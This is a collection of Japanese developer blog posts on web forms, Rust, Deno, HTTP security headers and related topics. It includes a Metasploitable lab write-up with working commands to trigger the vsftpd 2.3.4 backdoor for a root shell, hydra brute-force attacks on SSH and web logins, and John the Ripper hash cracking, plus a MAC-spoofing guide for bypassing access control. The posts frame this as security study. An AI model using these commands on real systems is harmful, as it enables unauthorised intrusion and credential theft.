
前に Ajax でフォームの送信をする時に form と div どちらを使うのが良いのか？という質問をされました。質問の意図としては、form タグで実装した場合は送信イベントを止めるために `preventDefault()` を呼ぶ必要があり、この処理を毎回呼ぶのが面倒なので挙動が変わらないなら div タグ の方が良いのでないか？という話でした。

結論だけ先に書いておくと **form タグを使おう** です。

div タグでの実装例

```html
<script>
    const button = document.getElementById('send');
    button.addEventListener('click', () => {
        // inputの値を取得してデータバリデーションとかする
        fetch(...);
    });
</script>

<div id="form">
    <input type="text" id="name" />
    <div>
        <button id="send">send</button>
    </div>
</div>
```

form タグでの実装例

```html
<script>
    const form = document.getElementById('form');
    form.addEventListener('submit', (event) => {
        event.preventDefault();
        // inputの値を取得してデータバリデーションとかする
        fetch(...);
    });
</script>

<form id="form">
    <input type="text" id="name" />
    <div>
        <button type="submit" id="send">send</button>
    </div>
</form>
```

## form タグと div タグの違い

form タグで実装した場合は以下の挙動がブラウザのデフォルトとして動作します。

1. キーボードの Enter を押してリクエストの送信ができる
2. type="password" を含むフォームの送信が成功したら、ブラウザのパスワード保存を自動で確認してくれる

div タグで実装した場合はこれらを自前で実装する工数が発生します。

1. Enter キーのイベントを監視してコールバックを登録する。
2. ブラウザのパスワード保存の確認は API 経由で出来るのか不明

特に 2 つめのパスワード保存については、簡単に調べた感じだと API が提供されていないので、対応ができない可能性が高い気がします。  
このようにブラウザのデフォルトの挙動を考えると、フォームを div タグ で実装するメリットはあまりなく、特別な理由が無ければ素直に form タグ で実装しておいた方が良いです。


フォーム実装にformタグを使うかdivタグを使うか


[alievk/avatarify: Avatars for Zoom and Skype](https://github.com/alievk/avatarify)

この記事は MacOS でのセットアップ方法を記述しています。  
環境でセットアップ手順が異なるので、LinuxやWindowsの場合はリポジトリのREADME.mdを参照してください。

【環境】  
OS: MacOS Catalina 10.15.3  
端末: MacBook Pro 2017  
プロセッサ: 2.3 GHz デュアルコアIntel Core i5  
メモリ: 16 GB 2133 MHz LPDDR3  
グラッフィックス: Intel Iris Plus Graphics 640 1536 MB  
GPU: なし

## インストール

### miniconda3 をインストール  
[Installing on macOS — conda 4\.8\.3\.post14\+07a113d8 documentation](https://docs.conda.io/projects/conda/en/latest/user-guide/install/macos.html#installing-on-macos)

[Miniconda — Conda documentation](https://docs.conda.io/en/latest/miniconda.html#macosx-installers) よりインストーラーをダウンロードする。  

```bash
# 対話シェルが起動するので、内容に沿ってインストールを進める。
$ zsh Miniconda3-latest-MacOSX-x86_64.sh
$ export PATH="$HOME/miniconda3/bin:$PATH"
```

### avatarify のリポジトリをクローンしてインストール

```bash
$ git clone https://github.com/alievk/avatarify.git
$ cd avatarify
$ zsh scripts/install_mac.sh
$ conda activate avatarify
```

### 学習済みモデル vox\-adv\-cpk\.pth\.tar をダウンロード  
[Google ドライブ](https://drive.google.com/file/d/1L8P-hpBhZi8Q_1vP2KlQ4N6dvlzpYBvZ/view)からダウンロードして avatarify ディレクトリ配置する。  
※ tarファイルは解凍せずにそのまま配置する

### CamTwist をダウンロード  
[ここ](http://camtwiststudio.com/download/)からダウンロードする

## 実行

### avatify を起動  
"Cannot open camera" のエラーが発生したら、scripts/settings.sh の CAMID を 0 から 1, 2, ... に変更する。  
自分の場合は 1 に変更したら、正常に起動しました。

```bash
$ zsh run_mac.sh
```

### CamTwistを起動

2.1 「Desktop+」 を選んで Select をクリック  
2.2 Settingsの項目内で 「Confine to Application Window」を選択してセレクトボックスで「Python(avatarify)」を選ぶ  

アバターが表示されたウィンドウで 1, 2, ... と数字キーを押せばアバターの切替えができます。

### Zoomdでバーチャルカメラを利用できるようにする  
Mac の Zoom v4.6.8 以降のバージョンでは仮想カメラが使えないようになっているので、ライブラリ署名を削除して仮想カメラを利用できるようにする。

```bash
$ codesign --remove-signature /Applications/zoom.us.app
```

### Zoomを起動
4.1 Zoom で 設定 > カメラ > CamTwist を選択

<img src="/images/posts/avatarify/zoom.gif" alt="zoom" width="1266" height="756" />

GPUが無いと ~1FPS しかパフォーマンスが出ないので、動いてはいるのですが全く楽しめないです。😢  


Zoomでアインシュタインになってみた

Rust は所有権の機能を導入することでガベージコレクションを実装せずにメモリ安全を実現しています。これを理解しないとコンパイルエラーが発生した時になぜエラーなのかを把握するのか困難になるので、Rust を使う上で重要な概念です。

ドキュメントなどを読み概要が把握できたので、整理のために説明を書いていきます。

## 所有権の特徴

現在のプログラムにおける一般的なメモリの管理方法は大きく分けて二つあります。  
一つは C や C++のようにプログラマが自分でメモリの確保と開放を宣言するやり方、二つ目は Java や Go のようにベージコレクションによって定期的に不要なメモリを開放する方法です。  
一つ目の方法ではプログラマが常にメモリを意識して開発する必要があり非常にコストがかかり、メモリ管理を誤った場合にダングリングポインタやメモリ 2 重開放などでエラーが発生する危険性があります。また、二つ目の方法では定期的に実行されれるガベージコレクターがアプリケーションの動作の妨げになる事があります。

Rust では所有権システムに基づいてコンパイラがコンパイル時にメモリ安全性のチェックを行うことで、ガベージコレクションを組み込む事なく自動でメモリ安全性を保証しています。

### 所有権規則

所有権システムは次の規則を持っています。

-   規則 1: 値は所有者と呼ばれる変数と対応している
-   規則 2: 値を所有できる変数は必ず一つだけである
-   規則 3: 値を所有する変数がスコープを抜けたら、値は破棄される

### メモリと変数スコープ

```rust
fn main() {
    let s1 = String::from("hello");  // ここで
    println!("{}", s1);
} // ここでs1がスコープから抜けるので "hello" の値も破棄される
```

ここで登場している String 型 は可変の値なので、コンパイル時にサイズを決定する事ができないので、値はヒープ領域に配置されます。  
このとき「値を所有する変数がスコープを抜けたら、値は破棄される」の規則に則り、s1 がスコープから抜ける時に、"hello" のメモリ解放がされます。

<img src="/images/posts/rust-ownership/memory1.png" alt="memory1" width="524" height="372" />

### 所有権のムーブ

次に、変数を別の変数に代入した場合のメモリの状態を考えてみます。

```rust
fn main() {
    let s1 = String::from("hello");
    let s2 = s1;
}
```

この状態で先ほどと同じようにメモリの解放を考えてみます。最初に s2 がスコープから抜けるタイミングで、"hello" のメモリが解放されます。次に s1 がスコープから外れるので同じようにメモリを解放します。  
ちょっと待ってください、ここで問題が発生しました！  
"hello" のメモリは既に解放されているため、s1 でも同様にメモリ解放を実行すると、無効なメモリを解放する事になるのでエラーが発生します。



しかし、対象のコードはコンパイルに成功して正常に実行されます。  
なぜでしょうか？

ここで最初に紹介した「値を所有できる変数は必ず一つだけである」事を思い出してみます。実は `let s2 = s1;` の部分で "hello" の所有権が s1 から s2 へ移動しており、s1 は値を所有しておらず変数として無効となっているのです。そのため、Rust は s1 がスコープから抜けるタイミングでメモリ解放をする必要がなくなり、結果として s2 に対してのみメモリ解放が実行されるため、正常に動作します。

この、値を所有する変数が移動することを **所有権のムーブ** といいます。

<img src="/images/posts/rust-ownership/move_ownership.png" alt="move_ownership" width="524" height="372" />

この仕組みを考えると、例えば、次のコードはどうなるのでしょうか？

```rust
fn main() {
    let s1 = String::from("hello");
    let s2 = s1;
             -- value moved here
    println!("{}", s1);
                   ^^ value borrowed here after move
}
```

このコードはコンパイルエラーになります。"hello" の所有権が s1 から s2 にムーブしており、既に無効となっている s1 を使おうとしているためコンパイルエラーになるのです。

また所有権のムーブは関数に値を渡す場合も同様に発生します。

```rust
fn hello(s: String) {
    println!("hello! {}", s);
}

fn main() {
    let name = String::from("taro");
    hello(name);
          ---- value moved here
    println!("{}", name);
                   ^^^^ value borrowed here after move
}
```

### 借用

それでは、先ほどの例で関数に値を渡したい時はどうすればいいのでしょうか？  
この問題は **借用** を使う事で解決できます。借用は `&` を使って表現します。

```rust
fn hello(s: &String) {
    println!("hello! {}", s);
}

fn main() {
    let name = String::from("taro");
    hello(&name);
    println!("{}", name);
}
```

借用は name への参照を作成し、これを所有しません。つまり、s は所有権を持たないのでスコープを抜けてもメモリ解放は実行されず、name がスコープを抜けたタイミングでメモリ解放が実行されます。
これは、コンパイラに対して「s は値を借りているだけなので、スコープを抜けてもメモリの解放をする必要がないよ」と教えているのです。

メモリ状態を表現すると次のようになります。

<img src="/images/posts/rust-ownership/memory3.png" alt="memory3" width="742" height="372" />

この借用を用いることで、所有権をムーブさせずに値を参照することができます。

## 参考

-   [What is Ownership? \- The Rust Programming Language](https://doc.rust-lang.org/book/ch04-01-what-is-ownership.html)
-   [所有権とは？ \- The Rust Programming Language](https://doc.rust-jp.rs/book/second-edition/ch04-01-what-is-ownership.html) （公式の日本語翻訳）

## まとめ

Rust の所有権と借用の仕組みは理解するのに、かなり時間がかかりました。理解すると意外とシンプルな考えなんだなと感じました。  
この記事は参考ドキュメントで理解した事を自分用に噛み砕いて書いただけなので、詳しい説明はドキュメントを読んだ方が良いです。

Rustの所有権と借用を理解する


フロントエンド実装においてセキュリティを考慮する際に意識した方が良いHTTPレスポンスヘッダーについてまとめています。

## X-Powered-By

### ヘッダーの説明
サーバー側で利用しているフレームワークやバージョン情報を含むHTTPヘッダー

```
例: 
X-Powered-By: Next.js
```

### 脆弱性
サーバー側で利用されているフレームワークやバージョンが含まれているため、他に脆弱性が存在した場合に攻撃者に攻撃を助ける情報を与える可能性がある。

### 対策方法
サーバー側で X-Powered-By ヘッダーを出力しないように設定する。

## X-Runtime

### ヘッダーの説明
サーバーの応答時間を含むHTTPヘッダー

```
例: 
X-Runtime: 0.094235
```

### 脆弱性
タイミング攻撃（Timing Atacking）に利用される可能性がある。

### タイミング攻撃
サーバーの応答時間の違いを利用する事でサービスを分析する攻撃手法です。  
例えば、次のようにログイン処理が実装されていたとします。  

```typescript
const login = (user_name, password) => {
    const user = User.get(user_name);
    if (user == null) return res.send(400);

    // 登録済みのユーザー名の場合はパスワードチェク処理が実行される分だけ応答時間が長くなる
    const mached = user.matchPassword(password);
    if (matched) res.send(200);
    else res.send(400);
}
```

この時、ユーザー名がサービスに登録済みの場合はパスワードチェック処理が追加で実行される影響で応答時間が少し長くなるため、攻撃者はランダムなユーザー名でリクエストを送信して X-Runtime の応答時間の違いを比較することで、サービスに登録済みのユーザー名を特定する事ができます。

```
# 未登録のユーザー名の場合
X-Runtime: 0.3949

# 登録済みのユーザー名の場合
X-Runtime: 0.6421
```

参考: [X\-Runtime Header Timing Attacks \- Virtue Security](https://www.virtuesecurity.com/kb/x-runtime-header-timing-attacks/)

### 対策方法
X-Runtime ヘッダーを出力しないように設定する。

## Cache-Control

### ヘッダーの説明
キャッシュの生存期間や保存可否などを制御するHTTPヘッダー  
HTTPレスポンスヘッダーとして指定された場合は、サーバーからのレスポンスを Cache-Control の指定に基づいて制御する。

```
例 画像などを1日キャッシュする
Chach-Control: max-age=86400
```

### 脆弱性
ブラウザは何の指定も無い場合はデフォルトでサーバーレスポンスを可能な場合にキャッシュします。  
この時サーバーレスポンスにユーザーのパスワード情報などが含まれていた場合に、何らの方法で攻撃者がユーザーの物理マシンにアクセス可能な状態であれば、マシンに保存されているブラウザキャッシュなどからパスワード情報を盗み出される可能性がある。

### 対策方法
Cache-Control を指定して、扱う情報に応じた適切なキャッシュ制御を行う。  
例えば、ユーザーの端末に保存するべきでない情報を含む場合は `nostore` を指定してキャッシュを保存しないようにする。

```
Cache-Control: nostore
```

## X-Frame-Options

### ヘッダーの説明
[X\-Frame\-Options \- HTTP \| MDN](https://developer.mozilla.org/ja/docs/Web/HTTP/X-Frame-Options)

ブラウザが自分のWebページを \<iframe\> や \<object\> の中へ表示することを禁止することで、Webページが他のサイトに埋め込まれないことを保証することができます。

### 脆弱性の説明
適切に設定していない場合にクリックジャッキング攻撃に利用される可能性がある。

### クリックジャッキング攻撃
外部ページを埋め込んだiframeを透明化して通常のWebページの上に被せることで、攻撃者がユーザーに意図しない操作をさせる攻撃手法です。

例えば、次の要件を満たすようなサービスをユーザーが利用しているとします。

```
1. ログイン情報をCookieで管理している
2. same-site属性はnone
3. アカウント画面の削除ボタンを押すだけで確認なしでアカウントが削除できる
```

このとき対象サービスのアカウントページをiframeに埋め込み透明化した状態でWebページの上に重ねた場合、ユーザーがログイン済みであればユーザーのアカウントページが透明な状態で上に重なって表示されます。  
対象サービスの削除ボタンに重なる位置にクリックしたくなるようなリンクを配置することで、ユーザーに削除ボタンをクリックさせて、アカウントを削除するように誘導する事ができます。

### 対策方法
`X-Frame-Options: Deny` を指定する事で iframe 等へのページの埋め込みを禁止する。

## Content-Security-Policy（CSP）

### ヘッダーの説明
[コンテンツセキュリティポリシー $CSP$ \- HTTP \| MDN](https://developer.mozilla.org/ja/docs/Web/HTTP/CSP)

インラインスクリプトの実行を禁止してXSSなどの攻撃を軽減する事ができます。

例えば、次のようにHTTPレスポンスヘッダーに含める事で、掲示板のサービスなどでサニタイズ処理をせず任意の文字列をサービスに埋め込める脆弱性があった場合でも、インラインスクリプトの実行ができないためXSS攻撃を軽減する事ができます。

```
# 外部ドメインのファイル読み込みやインラインスクリプトの実行を禁止する
Content-Security-Policy: default-src 'self'
```

IEは CSPの sandbox ディレクティブのみが利用可能になっており、IE9以下は CSP 未対応なので、次に紹介する X-XSS-Protection を利用する必要があります。

詳しい設定は上記のMDNのリンクを参照してください。

### 脆弱性の説明
掲示板などでユーザーが入力した値をサニタイズせずに画面上に表示していた場合にXSS攻撃を仕込まれる可能性がある。

### 注意点
外部ドメインからのスクリプト読み込みを禁止した場合に、CDN経由でのライブラリ読み込みなどが出来なくなってしまいます。  
そのため、自身のサービスの特性に合わせて適切に設定する必要があります。

例えば、次の設定をする事で自身のドメインと特定ドメインの CDN からのみスクリプト読み込みを許可する事ができます。  

```
Content-Security-Policy: default-src 'self' cdnjs.cloudflare.com
```

### 対策方法
Content-Security-Policyを適切に設定する。

※ CSPの設定とは別でユーザーが入力した値を表示する箇所で適切にサニタイズ処理はするべきです。

## X-XSS-Protection

### ヘッダーの説明
ブラウザがXSS攻撃を検出した時にページの読み込みを自動で停止します。

CSPが厳しく設定済みであれば、このヘッダーは本来不要です。  
しかし、ユーザーがCSPに未対応の古いブラウザ（IE9以下）を利用している場合に有効な対策になります。

## Strict-Transport-Security

### ヘッダーの説明

[Strict\-Transport\-Security \- HTTP \| MDN](https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Strict-Transport-Security)

HTTPS でページにアクセスした時にHTTPレスポンスヘッダーに含めることで、次回以降はブラウザーに HTTP の代わりに HTTPS を用いて通信を行うよう指示する事ができます。  

初めてのユーザーが HTTP でページにアクセスした場合は Strict-Transport-Security 無視されるため、ユーザーが HTTPS アクセスを一度もしていない場合には有効でない事に注意してください。  
HTTPS アクセスをしてSSL証明書が確認されたタイミングで設定が有効になります。

```
# HTTPSアクセスの設定を1年間有効にする（有効期限はアクセスの度に更新される）
Strict-Transport-Security: max-age=31536000;
```

### 脆弱性の説明
HTTPアクセスが許可されている銀行サイトを普段から利用していたとします。  
カフェで無料のWifiに接続した状態で、その銀行サイトをHTTP経由で利用をしてしまった場合に、攻撃者にHTTPリクエストの内容を傍受され銀行口座やログイン情報などが盗まれる可能性があります。

### 対策方法
Strict-Transport-Security ヘッダーを指定する。

上の例では、もし銀行サイトが Security-Transport-Security を設定しており、一度でも HTTPS で銀行サイトにアクセスしていた場合には、誤ってHTTPアクスした場合でも HTTPS 経由で自動で接続されるため被害を防ぐことができます。


WebセキュリティのためのHTTPレスポンスヘッダー


## インストール
[denoland/deno: A secure JavaScript and TypeScript runtime](https://github.com/denoland/deno)

```shell
$ curl -fsSL https://deno.land/x/install/install.sh | sh
$ vi ~/.zshrc
# Denoのパス設定
export DENO_INSTALL="/Users/t-yng/.local"
export PATH="$DENO_INSTALL/bin:$PATH"

$ source ~/.zshrc
```

インストール直後はパスが通っていない状態なので ~/.zshrc にDenoのパス設定を追加して再読み込みします。  
※ 個人の環境に合わせて適宜読み替えてください

HomeblewやCargoを利用してもインストールできます。  
詳細は [https://deno.land/](https://deno.land/) を確認してください。

## VsCodeの拡張

今の状態でVSCodeでコードを書くとTypeScriptとして認識されるので、Denoの構文でエラーが発生します。  
そこで [Deno - Visual Studio Marketplace](https://marketplace.visualstudio.com/items?itemName=axetroy.vscode-deno) をインストールしておきます。

デフォルトでは設定が false になっているので .vscode/setting.json で拡張を有効化します。  
自分は Node.js 環境で TypeScript を書く場合に競合する事を避けるために、プロジェクト単位で有効化しています。

```json
{
  "deno.enable": true
}
```

## Hello World を表示する
最初に「Hello World」を表示するサンプルコードを実装してみます。

```shell
$ mkdir deno-sample
$ cd deno-sample
$ touch server.ts
```

### server.ts
deno-sample/server.ts に次のサンプルコードを記述します。

```typescript
import { serve } from "https://deno.land/std@v0.39.0/http/server.ts";

const s = serve({ port: 8000 });
console.log("access to http://localhost:8000/");

for await (const req of s) {
  req.respond({ body: "Hello World\n" });
}
```

最初のimport文はモジュール読み込みです。  
Denoは npm を利用せずにURLやファイルパスでモジュールを読み込む仕組みになっており、サンプルコードでは deno.land にホスティングされた標準APIのモジュールを読み込んでいます。

次に `serve({port: 8000})` でサーバーインスタンスを生成しています。

ここで生成されるサーバーインスタンスはPromiseのイテレーターとなっているので、 `for await` でループ処理にてリクエストのインスタンスを取得して、 Hello World の文字列をレスポンスとして返しています。

### 実行
エラーが発生しました。

```shell
$ deno server.ts

Compile file:///Users/xxxxxx/workspace/deno/deno-sample/server.ts
error: Uncaught PermissionDenied: network access to "127.0.0.1:8000", run again with the --allow-net flag
```

Denoではネットワークアクセスやファイルアクセスには許可が必要なため、今回はネットワークアクセスを許可するために `--allow-net` フラグを指定します。

```
$ deno --allow-net server.ts
access to http://localhost:8000/
```

今度は成功しました。
この状態で http://localhost:8000/ にアクセスすれば、「Hello World」がブラウザに表示されます。🎉

## HTMLを返す
次にHTMLを返すWebサーバーを実装してみます。

### ディレクトリ構造
public/index.html は適当に作成してください。

```
.
├── public
│   └── index.html
└── server.ts
```

### server.ts

fs モジュールの `readFileStr` でHTMLファイルの文字列を読み込みをしています。

正しく実装するなら、[File Server](https://deno.land/std/manual.md#file-server)として実装した方が良さそうですが、ファイル読み込みをを試してみたかったので、この書き方をしています。

```typescript
import { serve } from "https://deno.land/std/http/server.ts";
import { readFileStr } from "https://deno.land/std/fs/mod.ts";

// HTMLファイルを読み込んで文字列を取得
const html = await readFileStr("./public/index.html", {
    encoding: "utf8",
}).catch((error) => {
    console.log(error);
    return "読み込みに失敗したよ";
});

const s = serve({ port: 8000 });
console.log("access to http://localhost:8000");
for await (const req of s) {
    req.respond({ body: html }); // HTML文字列をレスポンスBodyにセット
}
```

### 実行
ファイル読み込みをしているので `--allow-read` フラグを新たに指定しています。

```shell
$ deno --allow-net --allow-read server.ts
access to http://localhost:8000/
```

## パッケージ管理

### 問題
現状では npm のようなパッケージ管理ツールがなく、ソース単位で外部モジュールの読み込みを書いている状態です。  
依存している外部ライブラリを把握するためには、ソースコードを全て見る必要があり管理が困難になってしまいます。

### deps.ts
deps.ts ファイルを新しく作り、モジュール読み込みの記述をまとめることで簡易的なパッケージ管理が実現できます。  
deps.ts はマニュアルで紹介されいているファイル名で名前は何でもOKです。  
ライブラリを見ていると、deps.ts か package.ts をファイル名として利用しているパターンが多かったです。

先ほどのHTMLを返すサンプルコードの一部を deps.ts を利用して書き直してみるとこんな感じです。

deps.ts
```typescript
export { serve } from "https://deno.land/std/http/server.ts";
export { readFileStr } from "https://deno.land/std/fs/mod.ts";
```

server.ts
```typescript
import { serve, readFileStr } from "./deps.ts";

// 後は同じ
...
```

## ドキュメント

* [Dono 公式ドキュメント](https://deno.land/)
* [API Reference](https://deno.land/typedoc/)


Denoを触ってみよう


GitHubのリポジトリ内の特定のディレクトリだけをローカルにダウンロードした場合  
https://github.com/zeit/next.js/tree/canary/examples/analyze-bundles

svnを利用して `svn export <リポジトリのURL>/trunk/<ディレクトリのパス>` とする事で簡単にダウンロードできます。

```shell
$ svn export https://github.com/zeit/next.js/trunk/examples/analyze-bundles
```

MacOSであればsvnは標準でインストールされているので手軽にダウンロードができて便利です。


GitHubのディレクトリをCLIでダウンロード


とある会社の人と話していて、社内インフラの人がセキュリティ対策としてMacアドレスを見てアクセスを制限している。と聞いて、Macアドレスって簡単に偽装できるんじゃない？と思い調べてみました。

## 注意

この記事は攻撃方法を知ることでセキュリティを学ぶことを前提としています。  
決して外部の環境に対して悪意のある実行をしないようにしてください。

## spoof

調べたら macOS, Windows, Linux で利用可能な Macアドレスを偽装できるCLIツールがあった。

[feross/spoof: Easily spoof your MAC address in macOS, Windows, & Linux\!](https://github.com/feross/spoof)

### インストール

```
$ npm i -g spoof
```

### 使い方

#### Macアドレスの一覧を表示

```shell
$ spoof list
- Wi-Fi on device en0 with MAC address xx:xx:xx:xx:xx:xx
- ...
```

#### ランダムなMacアドレスを設定

```shell
# root権限が必要
$ sudo spoof randomize en0
$ spoof list
- Wi-Fi on device en0 with MAC address xx:xx:xx:xx:xx:xx currently set to 00:50:56:6F:42:0A
- ...
```

#### 任意のMacアドレスを設定

```shell
# root権限が必要
$ sudo spoof set 
$ sudo spoof list
```

#### Macアドレスをリセット

```shell
# root権限が必要
$ sodo spoof reset en0
```

## ツールを利用しない場合

ツール使わなくても普通にできるようでした。  
[macOS でターミナルを使って自分のMAC アドレスを変更する方法 \- yu8mada](https://yu8mada.com/2018/06/27/how-to-change-one-s-own-mac-address-using-terminal-on-macos/)   


#### Macアドレスの確認

```shell
$ networksetup -listallhardwareports

Hardware Port: Wi-Fi
Device: en0
Ethernet Address: xx:xx:xx:xx:xx:xx

...

$ ifconfig en0 | grep ether
	ether xx:xx:xx:xx:xx:xx
```

#### Macアドレスの設定

```shell
$ sudo ifconfig en0 ether 60:d2:48:2f:39:64
$ ifconfig en0 | grep ether
	ether 60:d2:48:2f:39:64
```

#### Macアドレスをリセット

リセットの事を考えると spoof を利用した方が早そう。

```shell
$ networksetup -getmacaddress Wi-Fi
Ethernet Address: xx:xx:xx:xx:xx:xx (Hardware Port: Wi-Fi)

$ sufo ifconfig en0 ether xx:xx:xx:xx:xx:xx
```

## まとめ

調べたらMacアドレスの偽装は凄い簡単にできました。  
単純なMacアドレスのによるアクセス制御はあまり意味が無かったです。

Macアドレスを偽装する


Metasploitableという脆弱性が用意されたLinuxの仮想環境に対して攻撃を試すことで、Linuxのハッキング方法について学んだので、実際に試した攻撃についてまとめています。

## 注意

この記事は攻撃方法を知ることでセキュリティを学ぶことを前提としており、実験も仮想環境上で実行しています。  
決して外部の環境に対して実行しないようにしてください。

## 参考

[ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習](https://www.shoeisha.co.jp/book/detail/9784798155302)  
第5章 「Metasploitableのハッキング」

## ツール一覧

* Netcat
    * TCP/UDPの接続を利用したデータを送受信するCLIツール
    * ファイル転送など色々な用途に使える万能ツール
* nmap
    * 攻撃対象の空いているポート番号を特定する（ポートスキャン）
* [Explit-DB](https://www.exploit-db.com/)、[CVE Details](https://www.cvedetails.com/)
    * 脆弱性を検索できるサービス
* hydra
    * オンラインのパスワードクラッキングツール
* Jhon the Ripper
    * 暗号化されたパスワードの解析ツール
    * Linuxの /etc/shadow やWebサービスのDBに保存してある暗号化されたパスワードを解析して元の文字列を復元する
* wireshark
    * パケットキャプチャツール
    * ネットワーク内のパケットをキャプチャすることで、どこ対してどんな内容の通信がされているかを解析する。

## ポートスキャン

-p-: 1~65535番までのポート番号を対象とする  
-sV: 各ポートのサービスのバージョンを検出する  
-O: ターゲットのOSを特定する。  

```
$ nmap -sV -O -p- <IP>
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 00:28 JST
Nmap scan report for 10.0.0.5
Host is up (0.00068s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
...
```

## vsftpdのバックドアを利用

vsftpd 2.3.4 には リモートからコマンド実行可能なバックドアが含まれている。
（2011/06/30に埋め込まれて、2011/07/03 には修正済み）  
`:)` を含むユーザー名でFTPにログインするとポート6200(TCP)にバックドアが開く。

```
$ nc <攻撃対象のIP> 21
220 (vsFTPd 2.3.4)
USER hoge:)
331 Please specify the password.
PASS hoge
```

別ターミナルで確認すると6200ポートが開いてる事が確認できる。

```
$ nmap -p 6200 <IP>
PORT     STATE SERVICE
6200/tcp open  lm-x
```

6200ポートにバックドアが開くので、別ターミナルで6200にアクセスする。

```
$ nc -nv <IP> 6200
(UNKOWN) [<IP>] 6200 (?) open
whoami # コマンドを実行
root   # 結果が返ってくる
```

## 辞書攻撃でSSHアカウントの認証解析

```
# ユーザーの辞書ファイルを作成
$ cat > user.lst
root
sys
...

# パスワードの辞書ファイルを作成
$ cat > pass.lst
root
passwd
...

# 辞書ファイルを利用して総当たり
$ hydra -L user.lst -P pass.lst -t 4 <IP> ssh
```

## 暗号化パスワードの解析

John the Ripper を利用してパスワードを解析する。  
`ユーザー名:暗号化パスワード` の形式で解析したいパスワードをファイルに保存してコマンドを実行

```
$ cat passwords
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

# 総当たり攻撃で解析（めっちゃ時間かかる）
$ john --incremental passwords
```

## HTTPの認証を解析

hydra で認証ページに対して辞書攻撃をして有効なID/パスワードを見つける。  
http-form-post の書式は `<認証APIのパス>:<送信パラメータ>:<認証失敗時のレスポンスに表示される文字列>`となる。
攻撃対象のURLや送信パラメータの構造は wireshark などでパケットキャプチャをして確認する。  

```
$ hydra -L user.lst -P pass.lst -s <Webサービスのポート> <ターゲットIP> http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password"
```



Metasplotableで体験するLinuxのハッキング

sudo実行するとユーザー環境のシェルで定義した環境変数が引き継がれない事を聞いたので実験してみました。

## 実験

```shell
#!/bin/sh
echo TEST;
```

```
$ export TEST=hoge
$ sh test.sh
hoge

$ sudo sh test.sh

```

確かに環境変数が引き継がれなかった。  
これ知らないとハマった時に問題見つけるの大変そうですね。



sudoで環境変数が引き継がれない


Node.jsでは処理が非同期のため出力されるログもリクエスト単位で固まって表示されない事があります。  
そこで、ログにリクエストIDをメタ情報として追記する事で、どのリクエストで発生したログか追跡しやすくなります。

今回は express で実装されたサーバーで全てのログにリクエストIDを付与する方法をまとめます。

## 実装

[t-yng/express-requestid-log](https://github.com/t-yng/express-requestid-log)

```javascript
require('zone.js');
const express = require('express');
const uuidv4 = require('uuid/v4');
const winston = require('winston');
const logger = require('./utils/logger');
const app = express();

/**
 * リクエスト毎にリクエストIDを発行してZoneの生成する
 */
const attachRequestId = (req, res, next) => {
    Zone.current.fork({
        name: 'request',
        properties: {
            requestId: uuidv4()
        }
    })
    .run(next);
}

const logger = winston.createLogger({
    level: 'info',
    format: winston.format.prettyPrint(),
    defaultMeta: {
        get requestId() {
            return Zone.current.get('requestId');
        }
    },
    transports: [
        new winston.transports.Console(),
    ]
});

app.use(attachReqestId);

app.get('/', (req, res) => {
    logger.info('request log', {
        path: req.path
    });
    res.send('hello world');
});

app.listen(3000, () => console.log('listening port 3000'));
```

## zone.js

1つ目のポイントは [zone.js](https://github.com/angular/angular/tree/master/packages/zone.js)です。

全てのログにリクエストIDを付与したいので、ロガーモジュールで共通処理としてリクエストIDを参照する必要があります。
発行したリクエストIDをexpressのreqオブジェクトに紐づけると、ロガーモジュールからreqオブジェクトを参照する必要が出てきますが、
ロガーはexpressのコンテキストからは独立したモジュールのため、reqモジュールを参照するのが困難です。

Globalオブジェクトに持つ事も考えましたが、Node.jsはシングルスレッドのため非同期でリクエスト毎にリクエストIDが上書きされる問題が発生します。

そこで、zone.jsを利用してリクエスト単位で値をグローバルに管理して、ロガーモジュールから参照可能にしています。

## get構文

2つ目のポイントは、Objectの[get構文](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Functions/get)です。

ログ出力にwinstonを利用しており、`defaultMeta`に値を設定することで全てのログに共通のメタ情報として値を出力してくれます。
しかし、リクエストIDは動的な値なため、実行タイミングで値が変わってしまいます。そこで、get構文とすることで`defaultMeta.requestId`に参照が発生したタイミングで動的に値が取得できるようにしています。

## まとめ

zone.jsの存在やget構文の使い方を理解できたのは良かったです。  
調べても意外にやり方があまり出てこなかったので、他の人がどうしているのかは非常に気になりました。  
インフラレイヤーでログ出力をしていて、アプリケーションレイヤーではリクエストIDを付与してログを出力しておらず、今回の対応は必要ないパターンが多いんですかね？

expressで全てのログにリクエストIDを出力する

神奈川の田舎で働いてるフロントエンドエンジニアのブログ